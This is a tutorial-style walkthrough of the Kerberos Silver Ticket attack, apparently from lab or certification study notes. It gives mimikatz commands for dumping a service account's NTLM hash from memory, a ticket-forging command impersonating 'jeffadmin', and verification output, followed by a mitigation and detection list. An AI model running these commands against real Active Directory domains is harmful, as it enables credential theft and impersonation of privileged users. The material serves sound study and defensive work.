Silver Tickets

Concept

Silver Tickets are forged Kerberos TGS tickets created using the NTLM hash of a service account, such as iis_service. These tickets can impersonate any user (e.g., jeffadmin) with arbitrary group memberships and are accepted by services like HTTP or SMB without contacting the DC — making this an offline attack.

This works because service tickets are encrypted using the service account’s key (NTLM hash). If an attacker possesses that hash, they can craft a ticket that looks legitimate to the service, even though it was never issued by the DC.

Silver Tickets are most effective when PAC (Privilege Attribute Certificate) validation is not enforced, which is common. However, post-October 2022 patches introduced PAC_REQUESTOR validation, which adds constraints when forging tickets for non-existent users.

Attack

1. Hash Extraction

Extract the service account hash from a system where the service account (e.g., iis_service) is logged in.

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
...
yamlCopyEditUser Name : iis_service
NTLM      : 4d28cf5252d39971419580a51484ca09
SID       : S-1-5-21-1987370270-658905905-1781884369-1109
...

2. Domain SID

Get the domain Securidy Identifier (SID).

> whoami /user
corp\jeff S-1-5-21-1987370270-658905905-1781884369-1105

3. Forge & Inject

Forge and inject the Silver Ticket on the target SPN, e.g. HTTP/web04.corp.com.

mimikatz # kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:corp.com /ptt /target:web04.corp.com /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:jeffadmin

4. Confirm

Confirm the ticket injection.

> klist
Client: jeffadmin @ corp.com
Server: http/web04.corp.com @ corp.com

Verify access to the target service.

> iwr -UseDefaultCredentials http://web04
StatusCode        : 200
StatusDescription : OK

A common mistake regarding this attack is forging a ticket for a user that doesn’t exist in AD or using an incorrect SPN format — remember, SPNs like HTTP/web04.corp.com follow a Kerberos naming convention, not a URL format (e.g., http://web04.corp.com), and are case-sensitive in some configurations.

Mitigation

• Enforce PAC validation on high-value services. If enforced, services verify user info with the DC. Rarely enabled but shuts down Silver Ticket abuse.

• Limit and monitor local admin access on application servers.

• Enable LSA Protection to block credential theft via Mimikatz.

• Monitor for:

  • Kerberos tickets with unusually long lifetimes

  • Abnormal group memberships in TGS

  • Services accepting tickets never seen by the DC